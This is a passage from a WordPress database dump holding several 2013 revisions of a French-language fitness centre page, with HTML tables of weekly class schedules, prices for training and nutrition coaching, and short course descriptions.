5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:26:59', '2013-07-03 16:26:59', '', 11, 'http://www.crosstrainingcenter.be/?p=163', 0, 'revision', '', 0),
(164, 1, '2013-07-03 16:27:40', '2013-07-03 16:27:40', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:27:40', '2013-07-03 16:27:40', '', 11, 'http://www.crosstrainingcenter.be/?p=164', 0, 'revision', '', 0);
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(167, 1, '2013-07-03 16:30:33', '2013-07-03 16:30:33', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: 